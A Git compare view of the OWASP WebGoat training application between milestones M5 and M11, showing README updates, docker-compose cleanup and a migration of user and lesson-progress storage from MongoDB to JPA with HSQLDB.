Compare commits
38 Commits
v8.0.0.M5
...
v8.0.0.M11
Author | SHA1 | Date | |
---|---|---|---|
2ae1b4955f | |||
13a4b69cbe | |||
98efc1235f | |||
b99b554522 | |||
04ccf9a422 | |||
ee11381a63 | |||
2cc6c232e2 | |||
dec55d52ca | |||
568fa82270 | |||
bad60c43c0 | |||
a6b9235711 | |||
253a2f16ed | |||
e801b0917d | |||
ae92ac6808 | |||
a9ac00a075 | |||
0120c7c3a6 | |||
5bbdb8893c | |||
05d8b590f3 | |||
114fbc5760 | |||
32311a80da | |||
d3ee9431d8 | |||
4811a9d563 | |||
c6e86861fe | |||
b64aa43760 | |||
dd7f4074cd | |||
8c10000e4e | |||
a11e6911cd | |||
5614cda0bf | |||
69d44aed5b | |||
f6911b49a7 | |||
24cf806787 | |||
1ac305e9b9 | |||
c6f1c5cd2a | |||
74218de135 | |||
1f6d7fdc39 | |||
cce1945f23 | |||
45d48a8776 | |||
50904cf69b |
38
README.MD
38
README.MD
@ -1,15 +1,11 @@
|
|||||||
# WebGoat: A deliberately insecure Web Application
|
# WebGoat 8: A deliberately insecure Web Application
|
||||||
|
|
||||||
[](https://travis-ci.org/WebGoat/WebGoat)
|
[](https://travis-ci.org/WebGoat/WebGoat)
|
||||||
[](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
|
[](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
|
||||||
[](https://www.codacy.com/app/dm/WebGoat)
|
[](https://www.codacy.com/app/dm/WebGoat)
|
||||||
[](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa)
|
[](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa)
|
||||||
[](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
|
[](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
|
||||||
|
[](https://github.com/WebGoat/WebGoat/releases/latest)
|
||||||
# Important
|
|
||||||
|
|
||||||
This is the development version of WebGoat 8, if you are looking for a released stable version please go to: https://github.com/WebGoat/WebGoat/wiki/Running-WebGoat
|
|
||||||
|
|
||||||
|
|
||||||
# Introduction
|
# Introduction
|
||||||
|
|
||||||
@ -68,6 +64,20 @@ Download the latest WebWolf release from [https://github.com/WebGoat/WebGoat/rel
|
|||||||
java -jar webgoat-server-<<version>>.jar
|
java -jar webgoat-server-<<version>>.jar
|
||||||
```
|
```
|
||||||
|
|
||||||
|
By default WebGoat starts at port 8080 in order to change this use the following property:
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
java -jar webgoat-server-<<version>>.jar --server.port=9090
|
||||||
|
```
|
||||||
|
|
||||||
|
You can specify one of the following arguments when starting WebGoat:
|
||||||
|
|
||||||
|
```Shell
|
||||||
|
java -jar webgoat-server-<<version>>.jar --server.port=9090 --server.address=x.x.x.x
|
||||||
|
```
|
||||||
|
|
||||||
|
This will start WebGoat on a different port and/or different address.
|
||||||
|
|
||||||
|
|
||||||
## 3. Run from the sources
|
## 3. Run from the sources
|
||||||
|
|
||||||
@ -88,20 +98,22 @@ Now let's start by compiling the project.
|
|||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
cd WebGoat
|
cd WebGoat
|
||||||
git checkout develop
|
git checkout <<branch_name>>
|
||||||
mvn clean install
|
mvn clean install
|
||||||
```
|
```
|
||||||
|
|
||||||
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
mvn -pl webwolf spring-boot:run
|
mvn -pl webgoat-server spring-boot:run
|
||||||
```
|
```
|
||||||
... you should be running webgoat on localhost:8080/WebGoat momentarily
|
... you should be running webgoat on localhost:8080/WebGoat momentarily
|
||||||
|
|
||||||
To change IP addresss add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
|
|
||||||
|
|
||||||
```server.address=x.x.x.x
|
To change IP address add the following variable to WebGoat/webgoat-container/src/main/resources/application.properties file
|
||||||
|
|
||||||
|
```
|
||||||
|
server.address=x.x.x.x
|
||||||
```
|
```
|
||||||
|
|
||||||
# Vagrant
|
# Vagrant
|
||||||
@ -109,7 +121,7 @@ To change IP addresss add the following variable to WebGoat/webgoat-container/sr
|
|||||||
We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
|
We supply a complete development environment using Vagrant, to run WebGoat with Vagrant you must first have Vagrant and Virtualbox installed.
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
$ cd WebGoat/webgoat-images/vagrant-users
|
$ cd WebGoat/webgoat-images/vagrant-training
|
||||||
$ vagrant up
|
$ vagrant up
|
||||||
```
|
```
|
||||||
|
|
||||||
@ -119,6 +131,8 @@ The source code will be available in the home directory.
|
|||||||
|
|
||||||
# Building a new Docker image
|
# Building a new Docker image
|
||||||
|
|
||||||
|
NOTE: Travis will create a new Docker image automatically when making a new release.
|
||||||
|
|
||||||
WebGoat now has Docker support for x86 and ARM (raspberry pi).
|
WebGoat now has Docker support for x86 and ARM (raspberry pi).
|
||||||
### Docker on x86
|
### Docker on x86
|
||||||
On x86 you can build a container with the following commands:
|
On x86 you can build a container with the following commands:
|
||||||
|
@ -1,25 +1,11 @@
|
|||||||
version: '2.0'
|
version: '2.0'
|
||||||
|
|
||||||
services:
|
services:
|
||||||
mongo:
|
|
||||||
image: mongo:latest
|
|
||||||
expose:
|
|
||||||
- "27017"
|
|
||||||
volumes:
|
|
||||||
- './mongo-data:/data/db'
|
|
||||||
webgoat:
|
webgoat:
|
||||||
build: webgoat-server/
|
build: webgoat-server/
|
||||||
command: "sh /home/webgoat/start.sh"
|
command: "sh /home/webgoat/start.sh"
|
||||||
ports:
|
ports:
|
||||||
- "8080:8080"
|
- "8080:8080"
|
||||||
depends_on:
|
|
||||||
[mongo, activemq]
|
|
||||||
environment:
|
|
||||||
WG_MONGO_PORT: 27017
|
|
||||||
WG_MONGO_HOST: mongo
|
|
||||||
WG_MQ_HOST: activemq
|
|
||||||
WG_MQ_PORT: 61616
|
|
||||||
WG_INTERNAL_MONGO: "false"
|
|
||||||
webwolf:
|
webwolf:
|
||||||
build: webwolf/
|
build: webwolf/
|
||||||
command: "sh /home/webwolf/start.sh"
|
command: "sh /home/webwolf/start.sh"
|
||||||
@ -27,8 +13,3 @@ services:
|
|||||||
- webgoat
|
- webgoat
|
||||||
ports:
|
ports:
|
||||||
- "8081:8081"
|
- "8081:8081"
|
||||||
environment:
|
|
||||||
WG_MONGO_PORT: 27017
|
|
||||||
WG_MONGO_HOST: mongo
|
|
||||||
WG_MQ_HOST: activemq
|
|
||||||
WG_MQ_PORT: 61616
|
|
2
pom.xml
2
pom.xml
@ -20,7 +20,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-parent</artifactId>
|
<artifactId>spring-boot-starter-parent</artifactId>
|
||||||
<version>1.5.5.RELEASE</version>
|
<version>1.5.9.RELEASE</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<licenses>
|
<licenses>
|
||||||
|
@ -12,11 +12,11 @@ if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then
|
|||||||
docker push $REPO
|
docker push $REPO
|
||||||
elif [ ! -z "${TRAVIS_TAG}" ]; then
|
elif [ ! -z "${TRAVIS_TAG}" ]; then
|
||||||
# Creating a tag build we push it to Docker with that tag
|
# Creating a tag build we push it to Docker with that tag
|
||||||
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} .
|
docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest .
|
||||||
docker push $REPO
|
|
||||||
elif [ "${BRANCH}" == "develop" ]; then
|
|
||||||
docker build -f Dockerfile -t $REPO:snapshot .
|
|
||||||
docker push $REPO
|
docker push $REPO
|
||||||
|
#elif [ "${BRANCH}" == "develop" ]; then
|
||||||
|
# docker build -f Dockerfile -t $REPO:snapshot .
|
||||||
|
# docker push $REPO
|
||||||
else
|
else
|
||||||
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}"
|
||||||
fi
|
fi
|
File diff suppressed because one or more lines are too long
Binary file not shown.
Before Width: | Height: | Size: 16 KiB |
@ -36,16 +36,6 @@
|
|||||||
|
|
||||||
</profiles>
|
</profiles>
|
||||||
|
|
||||||
<dependencyManagement>
|
|
||||||
<dependencies>
|
|
||||||
<dependency>
|
|
||||||
<groupId>de.flapdoodle.embed</groupId>
|
|
||||||
<artifactId>de.flapdoodle.embed.mongo</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
|
||||||
</dependencies>
|
|
||||||
</dependencyManagement>
|
|
||||||
|
|
||||||
<build>
|
<build>
|
||||||
<resources>
|
<resources>
|
||||||
<resource>
|
<resource>
|
||||||
@ -127,7 +117,7 @@
|
|||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.springframework.boot</groupId>
|
<groupId>org.springframework.boot</groupId>
|
||||||
<artifactId>spring-boot-starter-data-mongodb</artifactId>
|
<artifactId>spring-boot-starter-data-jpa</artifactId>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
@ -202,12 +192,6 @@
|
|||||||
<version>${junit.version}</version>
|
<version>${junit.version}</version>
|
||||||
<type>jar</type>
|
<type>jar</type>
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
|
||||||
<groupId>com.github.fakemongo</groupId>
|
|
||||||
<artifactId>fongo</artifactId>
|
|
||||||
<version>2.1.0</version>
|
|
||||||
<scope>test</scope>
|
|
||||||
</dependency>
|
|
||||||
<!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
|
<!-- ************* END: Dependencies for Unit and Integration Testing ************** -->
|
||||||
<!-- ************* END: <dependencies> ************** -->
|
<!-- ************* END: <dependencies> ************** -->
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
@ -34,6 +34,8 @@ import com.google.common.collect.Maps;
|
|||||||
import com.google.common.collect.Sets;
|
import com.google.common.collect.Sets;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.asciidoctor.Asciidoctor;
|
import org.asciidoctor.Asciidoctor;
|
||||||
|
import org.asciidoctor.extension.JavaExtensionRegistry;
|
||||||
|
import org.owasp.webgoat.asciidoc.WebWolfMacro;
|
||||||
import org.owasp.webgoat.i18n.Language;
|
import org.owasp.webgoat.i18n.Language;
|
||||||
import org.thymeleaf.TemplateProcessingParameters;
|
import org.thymeleaf.TemplateProcessingParameters;
|
||||||
import org.thymeleaf.resourceresolver.IResourceResolver;
|
import org.thymeleaf.resourceresolver.IResourceResolver;
|
||||||
@ -42,6 +44,7 @@ import org.thymeleaf.templateresolver.TemplateResolver;
|
|||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static org.apache.commons.lang3.CharEncoding.UTF_8;
|
||||||
import static org.asciidoctor.Asciidoctor.Factory.create;
|
import static org.asciidoctor.Asciidoctor.Factory.create;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -81,8 +84,11 @@ public class AsciiDoctorTemplateResolver extends TemplateResolver {
|
|||||||
return new ByteArrayInputStream(new byte[0]);
|
return new ByteArrayInputStream(new byte[0]);
|
||||||
} else {
|
} else {
|
||||||
StringWriter writer = new StringWriter();
|
StringWriter writer = new StringWriter();
|
||||||
|
JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry();
|
||||||
|
extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class);
|
||||||
|
|
||||||
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
asciidoctor.convert(new InputStreamReader(is), writer, createAttributes());
|
||||||
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes());
|
return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8));
|
||||||
}
|
}
|
||||||
} catch (IOException e) {
|
} catch (IOException e) {
|
||||||
//no html yet
|
//no html yet
|
||||||
|
@ -23,11 +23,5 @@ public class CleanupLocalProgressFiles {
|
|||||||
|
|
||||||
@PostConstruct
|
@PostConstruct
|
||||||
public void clean() {
|
public void clean() {
|
||||||
File dir = new File(webgoatHome);
|
|
||||||
//do it safe, check whether the subdir mongodb is available as subdirectory
|
|
||||||
File[] mongoDir = dir.listFiles(f -> f.isDirectory() && f.getName().contains("mongodb"));
|
|
||||||
if (mongoDir != null && mongoDir.length == 1) {
|
|
||||||
FileSystemUtils.deleteRecursively(dir);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -0,0 +1,25 @@
|
|||||||
|
package org.owasp.webgoat.asciidoc;
|
||||||
|
|
||||||
|
import org.springframework.beans.BeansException;
|
||||||
|
import org.springframework.context.ApplicationContext;
|
||||||
|
import org.springframework.context.ApplicationContextAware;
|
||||||
|
import org.springframework.core.env.Environment;
|
||||||
|
import org.springframework.stereotype.Component;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Make environment available in the asciidoc code (which you cannot inject because it is handled by the framework)
|
||||||
|
*/
|
||||||
|
@Component
|
||||||
|
public class EnvironmentExposure implements ApplicationContextAware {
|
||||||
|
|
||||||
|
private static ApplicationContext context;
|
||||||
|
|
||||||
|
public static Environment getEnv() {
|
||||||
|
return context.getEnvironment();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {
|
||||||
|
context = applicationContext;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,36 @@
|
|||||||
|
package org.owasp.webgoat.asciidoc;
|
||||||
|
|
||||||
|
import org.asciidoctor.ast.AbstractBlock;
|
||||||
|
import org.asciidoctor.extension.InlineMacroProcessor;
|
||||||
|
import org.springframework.core.env.Environment;
|
||||||
|
import org.springframework.util.StringUtils;
|
||||||
|
import org.springframework.web.context.request.RequestContextHolder;
|
||||||
|
import org.springframework.web.context.request.ServletRequestAttributes;
|
||||||
|
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class WebWolfMacro extends InlineMacroProcessor {
|
||||||
|
|
||||||
|
public WebWolfMacro(String macroName, Map<String, Object> config) {
|
||||||
|
super(macroName, config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected String process(AbstractBlock parent, String target, Map<String, Object> attributes) {
|
||||||
|
Environment env = EnvironmentExposure.getEnv();
|
||||||
|
String hostname = determineHost(env.getProperty("webwolf.host"), env.getProperty("webwolf.port"));
|
||||||
|
return "<a href=\"" + hostname + "\" target=\"_blank\">" + target + "</a>";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Look at the remote address from received from the browser first. This way it will also work if you run
|
||||||
|
* the browser in a Docker container and WebGoat on your local machine.
|
||||||
|
*/
|
||||||
|
private String determineHost(String host, String port) {
|
||||||
|
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
|
||||||
|
String ip = request.getRemoteAddr();
|
||||||
|
String hostname = StringUtils.hasText(ip) ? ip : host;
|
||||||
|
return "http://" + hostname + ":" + port + "/WebWolf";
|
||||||
|
}
|
||||||
|
}
|
@ -55,7 +55,7 @@ public abstract class AssignmentEndpoint extends Endpoint {
|
|||||||
|
|
||||||
//// TODO: 11/13/2016 events better fit?
|
//// TODO: 11/13/2016 events better fit?
|
||||||
protected AttackResult trackProgress(AttackResult attackResult) {
|
protected AttackResult trackProgress(AttackResult attackResult) {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
if (userTracker == null) {
|
if (userTracker == null) {
|
||||||
userTracker = new UserTracker(webSession.getUserName());
|
userTracker = new UserTracker(webSession.getUserName());
|
||||||
}
|
}
|
||||||
|
@ -1,7 +1,9 @@
|
|||||||
package org.owasp.webgoat.lessons;
|
package org.owasp.webgoat.lessons;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
import lombok.*;
|
import lombok.*;
|
||||||
|
|
||||||
|
import javax.persistence.*;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -33,16 +35,30 @@ import java.util.List;
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since November 25, 2016
|
* @since November 25, 2016
|
||||||
*/
|
*/
|
||||||
@AllArgsConstructor
|
|
||||||
@RequiredArgsConstructor
|
|
||||||
@NoArgsConstructor
|
|
||||||
@Getter
|
@Getter
|
||||||
@EqualsAndHashCode
|
@EqualsAndHashCode
|
||||||
|
@Entity
|
||||||
public class Assignment {
|
public class Assignment {
|
||||||
@NonNull
|
|
||||||
|
@Id
|
||||||
|
@GeneratedValue(strategy = GenerationType.AUTO)
|
||||||
|
private Long id;
|
||||||
private String name;
|
private String name;
|
||||||
@NonNull
|
|
||||||
private String path;
|
private String path;
|
||||||
|
@Transient
|
||||||
private List<String> hints;
|
private List<String> hints;
|
||||||
|
|
||||||
|
private Assignment() {
|
||||||
|
//Hibernate
|
||||||
|
}
|
||||||
|
|
||||||
|
public Assignment(String name, String path) {
|
||||||
|
this(name, path, Lists.newArrayList());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Assignment(String name, String path, List<String> hints) {
|
||||||
|
this.name = name;
|
||||||
|
this.path = path;
|
||||||
|
this.hints = hints;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -73,7 +73,7 @@ public class LessonMenuService {
|
|||||||
List<LessonMenuItem> showLeftNav() {
|
List<LessonMenuItem> showLeftNav() {
|
||||||
List<LessonMenuItem> menu = new ArrayList<>();
|
List<LessonMenuItem> menu = new ArrayList<>();
|
||||||
List<Category> categories = course.getCategories();
|
List<Category> categories = course.getCategories();
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
|
|
||||||
for (Category category : categories) {
|
for (Category category : categories) {
|
||||||
LessonMenuItem categoryItem = new LessonMenuItem();
|
LessonMenuItem categoryItem = new LessonMenuItem();
|
||||||
|
@ -40,7 +40,7 @@ public class LessonProgressService {
|
|||||||
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
@RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Map getLessonInfo() {
|
public Map getLessonInfo() {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson());
|
||||||
Map json = Maps.newHashMap();
|
Map json = Maps.newHashMap();
|
||||||
String successMessage = "";
|
String successMessage = "";
|
||||||
@ -63,7 +63,7 @@ public class LessonProgressService {
|
|||||||
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
|
@RequestMapping(value = "/service/lessonoverview.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public List<LessonOverview> lessonOverview() {
|
public List<LessonOverview> lessonOverview() {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
AbstractLesson currentLesson = webSession.getCurrentLesson();
|
AbstractLesson currentLesson = webSession.getCurrentLesson();
|
||||||
List<LessonOverview> result = Lists.newArrayList();
|
List<LessonOverview> result = Lists.newArrayList();
|
||||||
if ( currentLesson != null ) {
|
if ( currentLesson != null ) {
|
||||||
|
@ -64,7 +64,7 @@ public class ReportCardService {
|
|||||||
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public ReportCard reportCard() {
|
public ReportCard reportCard() {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
List<AbstractLesson> lessons = course.getLessons();
|
List<AbstractLesson> lessons = course.getLessons();
|
||||||
ReportCard reportCard = new ReportCard();
|
ReportCard reportCard = new ReportCard();
|
||||||
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
||||||
|
@ -59,7 +59,7 @@ public class RestartLessonService {
|
|||||||
AbstractLesson al = webSession.getCurrentLesson();
|
AbstractLesson al = webSession.getCurrentLesson();
|
||||||
log.debug("Restarting lesson: " + al);
|
log.debug("Restarting lesson: " + al);
|
||||||
|
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName());
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
userTracker.reset(al);
|
userTracker.reset(al);
|
||||||
userTrackerRepository.save(userTracker);
|
userTrackerRepository.save(userTracker);
|
||||||
}
|
}
|
||||||
|
@ -7,6 +7,7 @@ import lombok.Getter;
|
|||||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||||
import org.owasp.webgoat.lessons.Assignment;
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
|
|
||||||
|
import javax.persistence.*;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
@ -44,16 +45,23 @@ import java.util.stream.Collectors;
|
|||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
* @since October 29, 2003
|
* @since October 29, 2003
|
||||||
*/
|
*/
|
||||||
|
@Entity
|
||||||
public class LessonTracker {
|
public class LessonTracker {
|
||||||
|
|
||||||
|
@Id
|
||||||
|
@GeneratedValue(strategy = GenerationType.AUTO)
|
||||||
|
private Long id;
|
||||||
@Getter
|
@Getter
|
||||||
private String lessonName;
|
private String lessonName;
|
||||||
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
||||||
private final List<Assignment> allAssignments = Lists.newArrayList();
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
|
private final Set<Assignment> allAssignments = Sets.newHashSet();
|
||||||
@Getter
|
@Getter
|
||||||
private int numberOfAttempts = 0;
|
private int numberOfAttempts = 0;
|
||||||
|
|
||||||
protected LessonTracker() {
|
private LessonTracker() {
|
||||||
//Mongo
|
//JPA
|
||||||
}
|
}
|
||||||
|
|
||||||
public LessonTracker(AbstractLesson lesson) {
|
public LessonTracker(AbstractLesson lesson) {
|
||||||
|
@ -38,7 +38,7 @@ public class Scoreboard {
|
|||||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
List<WebGoatUser> allUsers = userRepository.findAll();
|
||||||
List<Ranking> rankings = Lists.newArrayList();
|
List<Ranking> rankings = Lists.newArrayList();
|
||||||
for (WebGoatUser user : allUsers) {
|
for (WebGoatUser user : allUsers) {
|
||||||
UserTracker userTracker = userTrackerRepository.findOne(user.getUsername());
|
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
||||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
||||||
}
|
}
|
||||||
return rankings;
|
return rankings;
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import org.springframework.data.mongodb.repository.MongoRepository;
|
import org.springframework.data.jpa.repository.JpaRepository;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
@ -8,7 +8,7 @@ import java.util.List;
|
|||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 3/19/17.
|
* @since 3/19/17.
|
||||||
*/
|
*/
|
||||||
public interface UserRepository extends MongoRepository<WebGoatUser, String> {
|
public interface UserRepository extends JpaRepository<WebGoatUser, String> {
|
||||||
|
|
||||||
WebGoatUser findByUsername(String username);
|
WebGoatUser findByUsername(String username);
|
||||||
|
|
||||||
|
@ -2,14 +2,16 @@
|
|||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
import com.google.common.collect.Lists;
|
||||||
|
import com.google.common.collect.Sets;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||||
import org.owasp.webgoat.lessons.Assignment;
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
import org.springframework.data.annotation.Id;
|
|
||||||
|
|
||||||
|
import javax.persistence.*;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
|
||||||
@ -44,11 +46,17 @@ import java.util.stream.Collectors;
|
|||||||
* @since October 29, 2003
|
* @since October 29, 2003
|
||||||
*/
|
*/
|
||||||
@Slf4j
|
@Slf4j
|
||||||
|
@Entity
|
||||||
public class UserTracker {
|
public class UserTracker {
|
||||||
|
|
||||||
@Id
|
@Id
|
||||||
private final String user;
|
@GeneratedValue(strategy = GenerationType.AUTO)
|
||||||
private List<LessonTracker> lessonTrackers = Lists.newArrayList();
|
private Long id;
|
||||||
|
private String user;
|
||||||
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
|
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
|
||||||
|
|
||||||
|
private UserTracker() {}
|
||||||
|
|
||||||
public UserTracker(final String user) {
|
public UserTracker(final String user) {
|
||||||
this.user = user;
|
this.user = user;
|
||||||
|
@ -1,12 +1,13 @@
|
|||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import org.springframework.data.mongodb.repository.MongoRepository;
|
import org.springframework.data.jpa.repository.JpaRepository;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @since 4/30/17.
|
* @since 4/30/17.
|
||||||
*/
|
*/
|
||||||
public interface UserTrackerRepository extends MongoRepository<UserTracker, String> {
|
public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
|
||||||
|
|
||||||
|
UserTracker findByUser(String user);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -1,13 +1,14 @@
|
|||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.springframework.data.annotation.Id;
|
|
||||||
import org.springframework.data.annotation.Transient;
|
|
||||||
import org.springframework.security.core.GrantedAuthority;
|
import org.springframework.security.core.GrantedAuthority;
|
||||||
import org.springframework.security.core.authority.SimpleGrantedAuthority;
|
import org.springframework.security.core.authority.SimpleGrantedAuthority;
|
||||||
import org.springframework.security.core.userdetails.User;
|
import org.springframework.security.core.userdetails.User;
|
||||||
import org.springframework.security.core.userdetails.UserDetails;
|
import org.springframework.security.core.userdetails.UserDetails;
|
||||||
|
|
||||||
|
import javax.persistence.Entity;
|
||||||
|
import javax.persistence.Id;
|
||||||
|
import javax.persistence.Transient;
|
||||||
import java.util.Collection;
|
import java.util.Collection;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
|
|
||||||
@ -16,6 +17,7 @@ import java.util.Collections;
|
|||||||
* @since 3/19/17.
|
* @since 3/19/17.
|
||||||
*/
|
*/
|
||||||
@Getter
|
@Getter
|
||||||
|
@Entity
|
||||||
public class WebGoatUser implements UserDetails {
|
public class WebGoatUser implements UserDetails {
|
||||||
|
|
||||||
public static final String ROLE_USER = "WEBGOAT_USER";
|
public static final String ROLE_USER = "WEBGOAT_USER";
|
||||||
|
@ -3,6 +3,10 @@ server.error.path=/error.html
|
|||||||
server.session.timeout=600
|
server.session.timeout=600
|
||||||
server.contextPath=/WebGoat
|
server.contextPath=/WebGoat
|
||||||
server.port=8080
|
server.port=8080
|
||||||
|
server.address=127.0.0.1
|
||||||
|
|
||||||
|
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat
|
||||||
|
spring.jpa.hibernate.ddl-auto=update
|
||||||
|
|
||||||
|
|
||||||
logging.level.org.springframework=WARN
|
logging.level.org.springframework=WARN
|
||||||
@ -17,8 +21,8 @@ spring.resources.cache-period=0
|
|||||||
spring.thymeleaf.cache=false
|
spring.thymeleaf.cache=false
|
||||||
|
|
||||||
webgoat.clean=false
|
webgoat.clean=false
|
||||||
webgoat.server.directory=${user.home}/.webgoat/
|
